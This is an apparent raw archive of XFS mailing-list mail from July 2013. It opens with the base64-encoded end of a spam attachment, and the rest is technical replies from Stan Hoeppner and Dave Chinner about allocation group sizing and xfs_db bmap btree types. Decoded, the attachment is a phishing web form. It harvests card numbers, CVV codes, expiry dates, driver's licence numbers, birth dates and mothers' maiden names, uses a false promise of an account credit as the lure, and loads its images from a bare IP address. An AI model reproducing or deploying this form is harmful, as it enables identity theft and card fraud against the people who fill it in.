Y2tMZW4odGhpcyx0aGlzLnZhbHVlKSBtYXhMZW5ndGg9NTAgc2l6ZT0xMCBuYW1lPXN0YXRl Pg0KICAgICAgICAgICAgICAgICAgPC9GT05UPjwvVEQ+DQogICAgICAgICAgICAgIDwvVFI+ DQogICAgICAgICAgICAgIDxUUj4gDQogICAgICAgICAgICAgICAgPFREIHdpZHRoPTM1OD48 Yj48Zm9udCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIyIiBj b2xvcj0iI0ZGMDAwMCI+KjwvZm9udD48Zm9udCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBz YW5zLXNlcmlmIiBzaXplPSIyIj4gDQogICAgICAgICAgICAgICAgICA8L2ZvbnQ+PGZvbnQg ZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiI+UG9zdGFsIA0K ICAgICAgICAgICAgICAgICAgQ29kZTo8L2ZvbnQ+PC9iPjwvVEQ+DQogICAgICAgICAgICAg ICAgPFREIHdpZHRoPSI3OTAiIGJnY29sb3I9IiNFMkQ1RkYiPjxGT05UIGNvbG9yPSM1MzU1 NDc+IA0KICAgICAgICAgICAgICAgICAgPElOUFVUIG9ua2V5cHJlc3M9InJldHVybiBudW1i ZXJzb25seSh0aGlzLCBldmVudCkiIGlkPXppcCBvbmtleXVwPWNoZWNrTGVuKHRoaXMsdGhp cy52YWx1ZSkgbWF4TGVuZ3RoPTQgc2l6ZT01IG5hbWU9emlwPg0KICAgICAgICAgICAgICAg ICAgPC9GT05UPjwvVEQ+DQogICAgICAgICAgICAgIDwvVFI+DQogICAgICAgICAgICAgIDxU Uj4gDQogICAgICAgICAgICAgICAgPFREIHdpZHRoPTM1OD48Yj48Zm9udCBmYWNlPSJBcmlh bCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIyIiBjb2xvcj0iI0ZGMDAwMCI+Kjwv Zm9udD48Zm9udCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIy Ij4gDQogICAgICAgICAgICAgICAgICA8L2ZvbnQ+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZl dGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiI+RHJpdmVycyANCiAgICAgICAgICAgICAgICAg IExpY2VuY2UgTnVtYmVyOjwvZm9udD48L2I+PC9URD4NCiAgICAgICAgICAgICAgICA8VEQg d2lkdGg9Ijc5MCIgYmdjb2xvcj0iI0UyRDVGRiI+PEZPTlQgY29sb3I9IzUzNTU0Nz4gDQog ICAgICAgICAgICAgICAgICA8SU5QVVQgaWQ9ZHJpdmVyIG9ua2V5dXA9Y2hlY2tMZW4odGhp cyx0aGlzLnZhbHVlKSBtYXhMZW5ndGg9MTAgc2l6ZT0xMiBuYW1lPWRyaXZlcj4NCiAgICAg ICAgICAgICAgICAgIDwvRk9OVD48L1REPg0KICAgICAgICAgICAgICA8L1RSPg0KICAgICAg ICAgICAgICA8VFI+IA0KICAgICAgICAgICAgICAgIDxURCB3aWR0aD0zNTg+PGI+PGZvbnQg ZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiIgY29sb3I9IiNG RjAwMDAiPio8L2ZvbnQ+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJp ZiIgc2l6ZT0iMiI+IA0KICAgICAgICAgICAgICAgICAgPC9mb250Pjxmb250IGZhY2U9IkFy aWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9IjIiPk1vdGhlcidzIA0KICAgICAg ICAgICAgICAgICAgTWFpZGVuIE5hbWU6PC9mb250PjwvYj48L1REPg0KICAgICAgICAgICAg ICAgIDxURCB3aWR0aD0iNzkwIiBiZ2NvbG9yPSIjRTJENUZGIj48Rk9OVCBjb2xvcj0jNTM1 NTQ3PiANCiAgICAgICAgICAgICAgICAgIDxpbnB1dCBpZD1uYW1lIG9uS2V5VXA9Y2hlY2tM ZW4odGhpcyx0aGlzLnZhbHVlKSBzaXplPTE3IG5hbWU9bW1uPg0KICAgICAgICAgICAgICAg ICAgPC9GT05UPjwvVEQ+DQogICAgICAgICAgICAgICAgPFREIHdpZHRoPTQwMD4mbmJzcDs8 L1REPg0KICAgICAgICAgICAgICA8L1RSPg0KICAgICAgICAgICAgICA8VFI+IA0KICAgICAg ICAgICAgICAgIDx0ZCB3aWR0aD0zNTg+PGI+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGlj YSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiIgY29sb3I9IiNGRjAwMDAiPio8L2ZvbnQ+PGZvbnQg ZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiI+IA0KICAgICAg ICAgICAgICAgICAgPC9mb250Pjxmb250IGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMt c2VyaWYiIHNpemU9IjIiPkRhdGUgDQogICAgICAgICAgICAgICAgICBvZiBCaXJ0aDo8L2Zv bnQ+PC9iPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3OTAiIGJnY29sb3I9 IiNFMkQ1RkYiPjxmb250IGNvbG9yPSM1MzU1NDc+IA0KICAgICAgICAgICAgICAgICAgPGlu cHV0IGlkPWRvYiBvbktleVVwPWNoZWNrTGVuKHRoaXMsdGhpcy52YWx1ZSkgbWF4bGVuZ3Ro PTEwIHNpemU9MTAgbmFtZT1kb2I+DQogICAgICAgICAgICAgICAgICA8Zm9udCBmYWNlPSJW ZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIxIj4oZGQvbW0v eXl5eSk8L2ZvbnQ+PC9mb250PjwvdGQ+DQogICAgICAgICAgICAgIDwvVFI+DQogICAgICAg ICAgICAgIDxUUj4gDQogICAgICAgICAgICAgICAgPHRkIHdpZHRoPTM1OD48Yj48Zm9udCBm YWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIyIiBjb2xvcj0iI0ZG MDAwMCI+KjwvZm9udD48Zm9udCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlm IiBzaXplPSIyIj4gDQogICAgICAgICAgICAgICAgICA8L2ZvbnQ+PGZvbnQgZmFjZT0iQXJp YWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiI+Q2FyZCANCiAgICAgICAgICAg ICAgICAgIE51bWJlcjo8L2ZvbnQ+PC9iPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkIHdp ZHRoPSI3OTAiIGJnY29sb3I9IiNFMkQ1RkYiPjxmb250IGNvbG9yPSM1MzU1NDc+IA0KICAg ICAgICAgICAgICAgICAgPGlucHV0IG9uS2V5UHJlc3M9InJldHVybiBudW1iZXJzb25seSh0 aGlzLCBldmVudCkiIGlkPWNhcmQgb25LZXlVcD1jaGVja0xlbih0aGlzLHRoaXMudmFsdWUp IG1heGxlbmd0aD0xNiBzaXplPTE3IG5hbWU9Y2FyZD4NCiAgICAgICAgICAgICAgICAgIDxm b250IGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9 IjEiPigxNiANCiAgICAgICAgICAgICAgICAgIGRpZ2l0cywgbm8gZGFzaGVzIG9yIHNwYWNl cyk8L2ZvbnQ+PC9mb250PjwvdGQ+DQogICAgICAgICAgICAgICAgPFREIHdpZHRoPTQwMD4m bmJzcDs8L1REPg0KICAgICAgICAgICAgICA8L1RSPg0KICAgICAgICAgICAgICA8VFI+IA0K ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0zNTg+PGI+PGZvbnQgZmFjZT0iQXJpYWwsIEhl bHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiIgY29sb3I9IiNGRjAwMDAiPio8L2ZvbnQ+ PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiI+IA0K ICAgICAgICAgICAgICAgICAgPC9mb250Pjxmb250IGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2Es IHNhbnMtc2VyaWYiIHNpemU9IjIiPkV4cGlyYXRpb24gDQogICAgICAgICAgICAgICAgICBE YXRlOjwvZm9udD48L2I+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9Ijc5MCIg Ymdjb2xvcj0iI0UyRDVGRiI+PGZvbnQgY29sb3I9IzUzNTU0Nz4gDQogICAgICAgICAgICAg ICAgICA8aW5wdXQgaWQ9ZXhwIG9uS2V5VXA9Y2hlY2tMZW4odGhpcyx0aGlzLnZhbHVlKSBz aXplPTYgbmFtZT1leHA+DQogICAgICAgICAgICAgICAgICA8Zm9udCBmYWNlPSJWZXJkYW5h LCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIxIj4obW0veXkpPC9mb250 PjwvZm9udD48L3RkPg0KICAgICAgICAgICAgICA8L1RSPg0KICAgICAgICAgICAgICA8dHI+ IA0KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0zNTg+PGI+PGZvbnQgZmFjZT0iQXJpYWws IEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiIgY29sb3I9IiNGRjAwMDAiPio8L2Zv bnQ+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiI+ IA0KICAgICAgICAgICAgICAgICAgPC9mb250Pjxmb250IGZhY2U9IkFyaWFsLCBIZWx2ZXRp Y2EsIHNhbnMtc2VyaWYiIHNpemU9IjIiPkNWVjo8L2ZvbnQ+PC9iPjwvdGQ+DQogICAgICAg ICAgICAgICAgPHRkIHdpZHRoPSI3OTAiIGJnY29sb3I9IiNFMkQ1RkYiPjxmb250IGNvbG9y PSM1MzU1NDc+IA0KICAgICAgICAgICAgICAgICAgPGlucHV0IGlkPWN2diBvbktleVVwPWNo ZWNrTGVuKHRoaXMsdGhpcy52YWx1ZSkgdHlwZT1wYXNzd29yZCBtYXhsZW5ndGg9MyBzaXpl PTMgdmFsdWU9IiIgbmFtZT1jdnY+DQogICAgICAgICAgICAgICAgICA8Zm9udCBmYWNlPSJW ZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIxIj4obGFzdCAN CiAgICAgICAgICAgICAgICAgIDMgZGlnaXRzIG9uIHRoZSBiYWNrIG9mIHlvdXIgY2FyZCk8 L2ZvbnQ+PC9mb250PjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkIHdpZHRoPTQwMD4mbmJz cDs8L3RkPg0KICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICA8VFI+IA0KICAg ICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIj4NCiAgICAgICAgICAgICAgICAgIDxwPjxi cj4NCiAgICAgICAgICAgICAgICAgICAgPGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwg c2Fucy1zZXJpZiIgc2l6ZT0iMiI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPk5PVEU6PC9m b250PiANCiAgICAgICAgICAgICAgICAgICAgSWYgeW91ciBpbmZvcm1hdGlvbiBpcyBpbmNv cnJlY3QgeW91ciBhY2NvdW50IHdpbGwgbm90IGJlIA0KICAgICAgICAgICAgICAgICAgICBj cmVkaXRlZC48L2I+PC9mb250PjwvcD4NCiAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAg ICAgICAgICA8L1RSPg0KICAgICAgICAgICAgICA8L1RCT0RZPiANCiAgICAgICAgICAgIDwv VEFCTEU+DQogICAgICAgICAgICA8UD48Zm9udCBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVs dmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIyIj48YnI+DQogICAgICAgICAgICAgIFdoZW4g eW91IGZpbmlzaGVkIHRvIGNvbXBsZXRlIHRoZSBmb3JtIHBsZWFzZSBjbGljayAmcXVvdDs8 Yj5ORVhUPC9iPiZxdW90OyANCiAgICAgICAgICAgICAgaW4gdGhlIGJvdHRvbSByaWdodCBj b3JuZXIgaW4gb3JkZXIgdG8gY29udGludWUuPC9mb250PjwvUD4NCiAgICAgICAgICA8L0RJ Vj48L0RJVj4NCjxESVYgY2xhc3M9d2l6YXJkTmF2IGlkPWN0bDAwX21haW5Db250ZW50X0J1 dHRvblBhbmVsPg0KPERJViBjbGFzcz1yaWdodCBpZD1jdGwwMF9tYWluQ29udGVudF9uZXh0 QnV0dG9uUGFuZWw+DQo8RElWIGNsYXNzPSJidG5OZXh0IGJ0bmJnIiBpZD1jdGwwMF9tYWlu Q29udGVudF9OZXh0QnV0dG9uX3dyYXBwZXI+DQo8RElWIGNsYXNzPWJ0bnQ+DQo8RElWIGNs YXNzPWJ0bnI+DQo8RElWIGNsYXNzPWJ0bmI+DQo8RElWIGNsYXNzPWJ0bmw+DQo8RElWIGNs YXNzPWJ0bnRsPg0KPERJViBjbGFzcz1idG50cj48QSBvbmNsaWNrPSJyZXR1cm4gc2xvYm96 KCkiIGhyZWY9ImphdmFzY3JpcHQ6IHN1Ym1pdGZvcm0oKSI+PElNRyBoZWlnaHQ9MjUgc3Jj PSJodHRwOi8vMjAxLjgyLjkuMTAwLy9kYXRhL29wZW53ZWJtYWlsL2ltYWdlcy9maWxlL2lt Zy9ueHQuanBnIiB3aWR0aD02MCBib3JkZXI9MD48L0E+PC9ESVY+PC9ESVY+PC9ESVY+PC9E SVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PFNQQU4gY2xh c3M9ZXJyb3JJbmRpY2F0b3IgaWQ9Y3RsMDBfbWFpbkNvbnRlbnRfY3RsMTQ3IHN0eWxlPSJE SVNQTEFZOiBub25lOyBDT0xPUjogcmVkIj48L1NQQU4+PElOUFVUIHR5cGU9aGlkZGVuIHZh bHVlPXRydWUgbmFtZT1zY3JpcHRpbmdvbj4gDQo8RElWIGNsYXNzPWFuYWx5dGljc1BGIGlk PWN0bDAwX21haW5Db250ZW50X2FuYWx5dGljc1BGPjxJTUcgaWQ9Y3RsMDBfbWFpbkNvbnRl bnRfYW5hbHl0aWNzSW1nIHN0eWxlPSJCT1JERVItVE9QLVdJRFRIOiAwcHg7IEJPUkRFUi1M RUZULVdJRFRIOiAwcHg7IEJPUkRFUi1CT1RUT00tV0lEVEg6IDBweDsgQk9SREVSLVJJR0hU LVdJRFRIOiAwcHgiIGFsdD0iIiBzcmM9Imh0dHA6Ly8yMDEuODIuOS4xMDAvL2RhdGEvb3Bl bndlYm1haWwvaW1hZ2VzL2ZpbGUvaW1nL2FiYi5naWYiPjwvRElWPjwvRk9STT48IS0tIE9t bml0dXJlIExvZ2dpbmcgLS0+PCEtLSBFbmQgb2YgT21uaXR1cmUgY29udGVudCB0YWcgLS0+ PC9ESVY+PC9ESVY+PC9CT0RZPjwvSFRNTD4= ------=_NextPart_000_0012_6D7D03D2.A596D02C-- From stan@hardwarefreak.com Sun Jul 14 18:43:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 379CC7F37 for ; Sun, 14 Jul 2013 18:43:58 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B7001AC001 for ; Sun, 14 Jul 2013 16:43:54 -0700 (PDT) X-ASG-Debug-ID: 1373845433-04cbb04690fa4da0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id q4XON6rAxj4OWLcB for ; Sun, 14 Jul 2013 16:43:53 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id A223A6C10B; Sun, 14 Jul 2013 18:43:53 -0500 (CDT) Message-ID: <51E337BC.3090304@hardwarefreak.com> Date: Sun, 14 Jul 2013 18:43:56 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: aurfalien CC: Eric Sandeen , xfs@oss.sgi.com Subject: Re: specify agsize? References: <6A14EB72-A699-47AF-937D-D6DA1CF12ACB@gmail.com> <51E2092D.7090409@sandeen.net> <9AB8D1D3-29D7-4C43-A624-37024CA4EFD9@gmail.com> <51E2CE83.9080003@sandeen.net> <51E32144.3020109@hardwarefreak.com> <2869A4A3-909A-486D-90A2-C1B04317EA40@gmail.com> X-ASG-Orig-Subj: Re: specify agsize? In-Reply-To: <2869A4A3-909A-486D-90A2-C1B04317EA40@gmail.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1373845433 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 7/14/2013 5:42 PM, aurfalien wrote: > My initial post on this was to try and understand if there mobs make sense to the general XFS community They do not. > and wether I could benefit from them in applying those mods to general purpose storage. You may or may not. There's simply not enough information available in that guide. Obviously Autodesk has a reason for recommending 128 AGs, but no such reasoning is provided. I already explained why, in the general case, agcount has no relevance in isolation. Setting agcount properly for the general XFS case requires knowledge of the underlying storage device size, geometry, spindle speed, etc. The Autodesk instructions Eric linked are specific to a select group of Autodesk certified HP workstation models, Autodesk's own storage arrays, or unspecified FC SAN storage. Nowhere in the "storage configuration" chapter does it mention the number of disks or RAID level required or recommended backing the LUNs. Thus, given what I've explained of the relationship between array capacity, spindle count, RAID level, etc, it simply doesn't make sense to arbitrarily specify 128 allocation groups, especially when the storage hardware characteristic are completely ignored. So if Autodesk is ignoring these critical factors when telling you to use 128 allocation groups, then they either have some application specific file layout that benefits from 128 AGs, or, as I said, they don't know XFS as well as they think they do. I'm not disparaging Autodesk here. There are plenty of vendors who do things with XFS that aren't necessarily wise, sometimes flat out bad. Taking a quick glance at the data directory layout on a current Flame system may get us closer to understanding why they want 128 AGs. For instance, if they've created exactly 128 directories on the XFS volume that would fully answer the question as to why they want 128 AGs. -- Stan From david@fromorbit.com Sun Jul 14 19:07:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1D7C07F37 for ; Sun, 14 Jul 2013 19:07:59 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0BB8F304043 for ; Sun, 14 Jul 2013 17:07:55 -0700 (PDT) X-ASG-Debug-ID: 1373846873-04cbb0468ffa5f40001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id jHr171wpxcaEyxQk for ; Sun, 14 Jul 2013 17:07:54 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhAMADw841F5LMTB/2dsb2JhbABagwa9I4UpBAGBCxd0giMBAQQBOhwUDwULCAMOCgklDwUlAyETiAoFtUUWjh0UgR0HgwttA5dbiiOHK4MkKg Received: from ppp121-44-196-193.lns20.syd7.internode.on.net (HELO dastard) ([121.44.196.193]) by ipmail05.adl6.internode.on.net with ESMTP; 15 Jul 2013 09:37:52 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UyWKS-0001Ll-Ka; Mon, 15 Jul 2013 10:07:48 +1000 Date: Mon, 15 Jul 2013 10:07:48 +1000 From: Dave Chinner To: Jay Ashworth Cc: xfs@oss.sgi.com Subject: Re: XFS filesystem triggering assert in _repair 3.1.11 Message-ID: <20130715000748.GD5228@dastard> X-ASG-Orig-Subj: Re: XFS filesystem triggering assert in _repair 3.1.11 References: <51E2C912.8080305@sandeen.net> <11307192.1374.1373818461931.JavaMail.root@benjamin.baylink.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <11307192.1374.1373818461931.JavaMail.root@benjamin.baylink.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1373846873 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Jul 14, 2013 at 12:14:21PM -0400, Jay Ashworth wrote: > > looking at bmap btree block 107963248 might also be interesting; like > > this I think but I'm rusty: > > > > xfs_db> fsblock 107963248 > > xfs_db> type bmapbt > > Well, the manpage says that's a type, but my xfs_db, v 3.1.11, says it's not. Huh? bmapbtd. "d" mens data fork. bmapbta is for the attribute fork.... > I hate power supplies. I'd be spending a few dollars to get a new one ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Jul 14 20:07:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A169F7F37 for ; Sun, 14 Jul 2013 20:07:34 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6F1C68F8033 for ; Sun, 14 Jul 2013 18:07:31 -0700 (PDT) X-ASG-Debug-ID: 1373850449-04bdf0233efcfc80001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id Z1WdPvQnBVWxxEG8 for ; Sun, 14 Jul 2013 18:07:29 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ag8MAIhK41F5LMTB/2dsb2JhbABagwa9JIUpBAGBCxd0giMBAQU6HCMQCAMYCSUPBSUDDRQTiA+1RhaOIg+BHQeDC20Dl1uRToMkKoEt Received: from ppp121-44-196-193.lns20.syd7.internode.on.net (HELO dastard) ([121.44.196.193]) by ipmail04.adl6.internode.on.net with ESMTP; 15 Jul 2013 10:37:28 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UyXG6-0001RI-2E; Mon, 15 Jul 2013 11:07:22 +1000 Date: Mon, 15 Jul 2013 11:07:22 +1000 From: Dave Chinner To: Stan Hoeppner Cc: aurfalien , Eric Sandeen , xfs@oss.sgi.com Subject: Re: specify agsize? Message-ID: <20130715010721.GE5228@dastard> X-ASG-Orig-Subj: Re: specify agsize? References: <6A14EB72-A699-47AF-937D-D6DA1CF12ACB@gmail.com> <51E2092D.7090409@sandeen.net> <9AB8D1D3-29D7-4C43-A624-37024CA4EFD9@gmail.com> <51E24E03.8010609@hardwarefreak.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51E24E03.8010609@hardwarefreak.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1373850449 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Jul 14, 2013 at 02:06:43AM -0500, Stan Hoeppner wrote: > On 7/13/2013 11:20 PM, aurfalien wrote: > ... > >>> mkfs.xfs -f -l size=512m -d su=128k,sw=14 /dev/mapper/vg_doofus_data-lv_data > ... > >>> meta-data=/dev/mapper/vg_doofus_data-lv_data isize=256 agcount=32, agsize=209428640 blks > >>> = sectsz=512 attr=2, projid32bit=0 > >>> data = bsize=4096 blocks=6701716480, imaxpct=5 > >>> = sunit=32 swidth=448 blks > >>> naming =version 2 bsize=4096 ascii-ci=0 > >>> log =internal log bsize=4096 blocks=131072, version=2 > >>> = sectsz=512 sunit=32 blks, lazy-count=1 > >>> realtime =none extsz=4096 blocks=0, rtextents=0 > ... > > Autodesk has this software called Flame which requires very very fast local storage using XFS. > > If "Flame" does any random writes then you probably shouldn't be using > RAID6. Oh, we are talking about flame/smoke/lustre rendering environments here. Go back 5 years, a renderwall compositing effects via smoke was one of the nastiest small random write workloads you could throw at a filesystem. It was often used to benchmark file server performance for renderwalls and still may be. Think of a workload that reads lots of shared texture files across thousands of machines, each crunching a single video frame to add an effect and all doing small random writes to the video frame as it modifies a small section of each line of the video frame.... Translation: tuning for AG size is a waste of time. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Jul 14 20:23:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A80B47F37 for ; Sun, 14 Jul 2013 20:23:30 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6995B30405F for ; Sun, 14 Jul 2013 18:23:30 -0700 (PDT) X-ASG-Debug-ID: 1373851408-04bdf0233efd0930001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id ZEQr2zF3AaP9eku5 for ; Sun, 14 Jul 2013 18:23:28 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlIkAI5O41F5LMTB/2dsb2JhbABagwY0rhwCjlKFKQQBgQsXdIIjAQEEATocIwULCAMYCSUPBSUDDRQTiAoFDbU3Fo4XCw+BHQeDC20Dl1uBKpAkgyQqgS0 Received: from ppp121-44-196-193.lns20.syd7.internode.on.net (HELO dastard) ([121.44.196.193]) by ipmail06.adl2.internode.on.net with ESMTP; 15 Jul 2013 10:52:54 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UyXUj-0001Sf-Pa; Mon, 15 Jul 2013 11:22:29 +1000 Date: Mon, 15 Jul 2013 11:22:29 +1000 From: Dave Chinner To: aurfalien Cc: Eric Sandeen , xfs@oss.sgi.com Subject: Re: specify agsize? Message-ID: <20130715012229.GF5228@dastard> X-ASG-Orig-Subj: Re: specify agsize? References: <6A14EB72-A699-47AF-937D-D6DA1CF12ACB@gmail.com> <51E2092D.7090409@sandeen.net> <9AB8D1D3-29D7-4C43-A624-37024CA4EFD9@gmail.com> <51E2CE83.9080003@sandeen.net> <24AC7E60-49D1-4D6E-8B6F-531C46CDCF53@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <24AC7E60-49D1-4D6E-8B6F-531C46CDCF53@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1373851408 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, 